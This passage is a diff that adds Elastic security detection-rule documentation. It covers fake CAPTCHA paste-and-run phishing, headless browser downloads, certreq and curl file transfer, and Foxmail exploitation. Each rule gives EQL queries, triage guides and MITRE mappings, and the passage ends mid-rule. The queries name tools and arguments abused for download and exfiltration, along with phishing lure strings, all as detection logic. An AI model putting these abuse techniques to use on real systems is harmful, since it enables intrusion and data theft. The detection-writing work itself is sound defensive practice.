0000000000..1f3f51d6ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-fake-captcha-phishing-attack.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-potential-fake-captcha-phishing-attack]] +=== Potential Fake CAPTCHA Phishing Attack + +Identifies potential fake CAPTCHA phishing attack based on PowerShell or Cmd argument values. Adversaries employ this technique via compromised websites with browser injects, posing either as fake CAPTCHAs to access the site or as a page loading error requiring a fix to display the page. The victim is instructed to copy and past a malicious command to the Windows Run dialog box. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Fake CAPTCHA Phishing Attack* + + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any malicious intent. +- Review web activity preceeding the alert to identify the initial vector. +- Investigate any network activity or child processes from the suspected process. +- Correlate the event with other security alerts or logs from the same host or user to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the environment, such as the presence of sensitive data or critical systems that might be affected. + + +*False positive analysis* + + +- Legitimate administrative scripts containing the suspicious keywords such as CAPTCHA. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified by the detection rule to halt ongoing malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or scripts. +- Review and clean up any unauthorized changes to system configurations or scheduled tasks that may have been altered by the malicious PowerShell activity. +- Restore any affected files or system components from known good backups to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and logging for PowerShell activities across the network to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("powershell.exe", "cmd.exe", "mshta.exe") and process.parent.name : "explorer.exe" and + process.command_line : ("*recaptcha *", "*CAPTCHA Verif*", "*complete verification*", "*Verification ID*", "*Verification Code*", "*Verification UID*", + "*hυmаn vаlіdаtiοn*", "*human ID*", "*Action Identificator*", "*not a robot*", "*Click OK to*", "*anti-robot test*", + "*Cloudflare ID*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-download-via-a-headless-browser.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-download-via-a-headless-browser.asciidoc new file mode 100644 index 0000000000..b8c9c36e42 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-download-via-a-headless-browser.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-21-potential-file-download-via-a-headless-browser]] +=== Potential File Download via a Headless Browser + +Identifies headless browser execution from a suspicious parent process with arguments consistent with scripted retrieval. Adversaries use browsers because they are trusted, signed binaries that proxy and application-control policies allow through, bypassing restrictions on direct download tools. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Msedge/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Windows +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Download via a Headless Browser* + + + +*Possible investigation steps* + + +- What headless pattern does the command line express, and is the browser the installed product? + - Why: this rule fires on three distinct retrieval patterns -- remote URL fetch, inline base64 HTML decode ("data:text/html;base64"), or DOM dump ("--dump-dom") -- and each requires different follow-on evidence. + - Focus: `process.command_line` and `process.working_directory` to identify the retrieval pattern and output destination; confirm the browser is the installed product via `process.executable`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: retrieval intent is stronger when the command line targets external content, decodes base64, or redirects output to unusual paths, especially when the browser is unsigned, portable, or renamed; more explainable when the arguments match a rendering or automation workflow and the browser is the standard signed installation. + +- Does the parent, ancestry, and user-host pattern explain why a browser is being driven headlessly? + - Why: the same browser arguments mean different things when launched by a web-rendering service than when launched by a script host, Office application, or interactive shell. + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, and `process.Ext.session_info.logon_type`; also check whether `user.id` and `host.id` fit a role where headless browser automation is expected. + - Implication: more concerning if launched by a script host, Office process, MSI, WMI, or an unexpected interactive session, or when the user-host pair should not be running headless browsers; more explainable if the ancestry resolves to a recognized rendering service or automation component for that host role. + +- Do network events show the browser reaching destinations consistent with the claimed workflow? + - Focus: same-host network events scoped to the alert's `process.entity_id`, using `dns.resolved_ip` to bridge `dns.question.name` to `destination.ip` and treating `destination.as.organization.name` as ownership context rather than a verdict. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is not available, stay on the same `host.id` and alert window and use `dns.question.name`, `dns.resolved_ip`, and `destination.ip` to test whether the browser likely reached the fetched content. + - Implication: delivery risk increases when the browser reaches rare public destinations or infrastructure unrelated to the workflow, or when another process connects to an exposed debugging port; risk falls when destinations align with recognized internal services or known automation targets. Missing network telemetry is unresolved, not benign. + +- Do file events or child processes from the browser show downloaded, decoded, or staged artifacts? + - Focus: file events scoped to `process.entity_id` (`file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, `file.Ext.header_bytes`), child process activity, and later `process.executable` reuse of a written path. + - Implication: more likely delivery when the browser writes scripts, executables, archives, or decoded content to user-writable or deceptive paths, spawns child processes, or the artifact later appears in execution telemetry; less concerning when output stays in a renderer cache or report directory with no suspicious reuse. + +- If the local browser, destination, or artifact evidence stays suspicious or unresolved, does related alert history show isolated automation or broader download activity on this user or host? + - Focus: related alerts for `host.id` and `user.id` in the last 48 hours, checking for sibling transfer tools, non-headless browser automation, or reuse of the same destinations across hosts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same user or host shows repeated delivery behavior across hosts or through sibling tools; keep narrow when both alert views stay within one recognized automation component. + +- Escalate when browser identity, command line, destinations, artifacts, or alert scope point to unauthorized headless retrieval or staging; close only when all evidence aligns with a recognized automation workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Server-side rendering, web testing, QA, or browser automation can legitimately start a headless browser with retrieval arguments. Confirm when `process.executable`, `process.parent.executable`, and the `dns.question.name` or `destination.ip` pattern all align with one automation component and no staged artifacts diverge from that workflow. If automation records are unavailable, require the same browser, parent, and destination pattern to recur across prior alerts. +- Before creating an exception, build on `process.executable`, `process.parent.executable`, `process.code_signature.subject_name`, and `host.id` or `user.id`. Avoid exceptions on `process.name` alone, the "--headless" flag alone, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the `process.executable`, `process.parent.executable`, `process.command_line`, destination pattern from `dns.question.name` or `destination.ip`, and recurring `user.id` / `host.id` scope that proved the workflow. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, first preserve the alert's `process.entity_id`, `process.command_line`, related `file.path` outputs, `file.origin_url` provenance, and any linked `dns.question.name`, `dns.resolved_ip`, or `destination.ip` values. Then apply reversible containment such as temporary egress blocks or tighter monitoring of the affected `user.id` or `host.id`. Escalate to host isolation only when the browser, network, or artifact evidence shows material delivery or staging risk. +- If confirmed malicious, document the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, written `file.path` artifacts, `process.hash.sha256`, and confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Prefer endpoint isolation as the first containment step, weighing the host's role before isolating critical infrastructure such as servers, domain controllers, or build systems. If direct endpoint response is unavailable, escalate with the preserved artifact set to the team that can act. +- After containment, review other `host.id` and `user.id` alerts for the same `dns.question.name`, `destination.ip`, or `process.executable` pattern before deleting artifacts or restoring access. Then block the malicious destinations and downloaded artifact hashes identified during the investigation, eradicate the scripts, archives, browsers, or persistence artifacts uncovered during the artifact and scope review, and remediate the launcher, automation component, or execution-control gap that allowed the headless browser to retrieve content. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("chrome.exe", "msedge.exe", "brave.exe", "browser.exe", "dragon.exe", "vivaldi.exe") and + process.args : "--headless*" and + process.args : ("--dump-dom", "*http*", "data:text/html;base64,*") and + process.parent.name : + ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "conhost.exe", "msiexec.exe", + "explorer.exe", "rundll32.exe", "winword.exe", "excel.exe", "onenote.exe", "hh.exe", "powerpnt.exe", "forfiles.exe", + "pcalua.exe", "wmiprvse.exe") and + not process.executable : ( + "?:\\inetpub\\wwwroot\\*\\ext\\modules\\html2pdf\\bin\\chrome\\*\\chrome-win64\\chrome.exe", + "\\Device\\HarddiskVolume*\\inetpub\\wwwroot\\*\\ext\\modules\\html2pdf\\bin\\chrome\\*\\chrome-win64\\chrome.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-transfer-via-certreq.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-transfer-via-certreq.asciidoc new file mode 100644 index 0000000000..21fdce0759 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-transfer-via-certreq.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-21-potential-file-transfer-via-certreq]] +=== Potential File Transfer via Certreq + +Identifies Certreq making an HTTP Post request. Adversaries could abuse Certreq to download files or upload data to a remote URL. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Certreq/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Command and Control +* Tactic: Exfiltration +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Transfer via Certreq* + + +Certreq is a command-line utility in Windows operating systems that allows users to request and manage certificates from certificate authorities. It is primarily used for generating certificate signing requests (CSRs) and installing certificates. However, adversaries may abuse Certreq's functionality to download files or upload data to a remote URL by making an HTTP POST request. + +This rule identifies the potential abuse of Certreq to download files or upload data to a remote URL. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the details of the dropped file, and whether it was executed. +- Check the reputation of the domain or IP address used to host the downloaded file or if the user downloaded the file from an internal system. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unusual but can be done by administrators. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "CertReq.exe" or ?process.pe.original_file_name == "CertReq.exe") and process.args : "-Post" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-transfer-via-curl-for-windows.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-transfer-via-curl-for-windows.asciidoc new file mode 100644 index 0000000000..69412760c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-file-transfer-via-curl-for-windows.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-21-potential-file-transfer-via-curl-for-windows]] +=== Potential File Transfer via Curl for Windows + +Identifies Curl for Windows making an HTTP request. Adversaries could abuse Curl to download files or upload data to a remote URL. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Transfer via Curl for Windows* + + +This rule identifies the use of Curl for Windows to download files from a remote URL or post data to a remote site. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the details of the dropped file, and whether it was executed. +- Check the reputation of the domain or IP address used to host the downloaded file or if the user downloaded the file from an internal system. +- Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unusual but can be done by administrators. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : ( + "?:\\Windows\\System32\\curl.exe", + "?:\\Windows\\SysWOW64\\curl.exe" + ) and + process.command_line : "*http*" and + process.parent.name : ( + "cmd.exe", "powershell.exe", + "rundll32.exe", "explorer.exe", + "conhost.exe", "forfiles.exe", + "wscript.exe", "cscript.exe", + "mshta.exe", "hh.exe", "mmc.exe" + ) and + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + /* Exclude System Integrity Processes for Sysmon */ + not ?winlog.event_data.IntegrityLevel == "System" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-foxmail-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-foxmail-exploitation.asciidoc new file mode 100644 index 0000000000..7692ae5fae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-foxmail-exploitation.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-potential-foxmail-exploitation]] +=== Potential Foxmail Exploitation + +Identifies the Foxmail client spawning a child process with argument pointing to the Foxmail temp directory. This may indicate the successful exploitation of a Foxmail vulnerability for initial access and execution via a malicious email. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://mp.weixin.qq.com/s/F8hNyESBdKhwXkQPgtGpew + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Foxmail Exploitation* + + +Foxmail, a popular email client, can be exploited by adversaries to gain initial access and execute malicious payloads. Attackers may leverage vulnerabilities to spawn child processes from Foxmail, directing them to temporary directories where malicious files reside. The detection rule identifies such suspicious activities by monitoring process creation events, specifically when Foxmail spawns processes with arguments pointing to its temp directory, indicating potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the process creation event details to confirm that Foxmail.exe is the parent process and check the specific child process that was spawned. +- Examine the arguments of the spawned process to verify if they point to a suspicious temporary directory, as indicated by the query pattern (e.g., paths under "?:\Users\*\AppData\*"). +- Investigate the contents of the identified temporary directory for any unusual or malicious files that may have been executed. +- Check the email logs and Foxmail client activity to identify any recent emails that could have contained malicious attachments or links leading to the exploitation attempt. +- Correlate the event with other security alerts or logs from data sources like Elastic Defend, Sysmon, or Microsoft Defender XDR to identify any related suspicious activities or patterns. +- Assess the risk and impact on the affected system by determining if any unauthorized changes or additional malicious processes have been initiated following the initial alert. + + +*False positive analysis* + + +- Routine software updates or installations may cause Foxmail to spawn child processes in the temp directory. Users can create exceptions for known update processes to prevent false alerts. +- Legitimate plugins or extensions for Foxmail might execute processes from the temp directory. Verify the legitimacy of these plugins and exclude them if they are trusted. +- Automated scripts or backup software interacting with Foxmail could trigger the rule. Identify these scripts and add them to an exclusion list if they are verified as safe. +- User-initiated actions such as importing or exporting data in Foxmail might result in temporary process creation. Monitor these activities and exclude them if they are part of regular operations. +- Security software performing scans or checks on Foxmail's temp directory can be mistaken for exploitation attempts. Confirm these activities and whitelist the security software processes involved. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any ongoing malicious activity. +- Terminate any suspicious processes spawned by Foxmail that are identified in the alert to stop the execution of potentially malicious payloads. +- Conduct a thorough scan of the affected system using an updated antivirus or endpoint detection and response (EDR) tool to identify and remove any malicious files or remnants. +- Review and analyze email logs and quarantine any suspicious emails that may have been the source of the exploit to prevent further exploitation attempts. +- Apply any available security patches or updates to Foxmail and the operating system to mitigate known vulnerabilities and prevent future exploitation. +- Monitor the network and systems for any signs of lateral movement or additional compromise, using indicators of compromise (IOCs) identified during the investigation. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional actions are required based on the scope and impact of the threat. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "Foxmail.exe" and process.args : ("?:\\Users\\*\\AppData\\*", "\\\\*") + 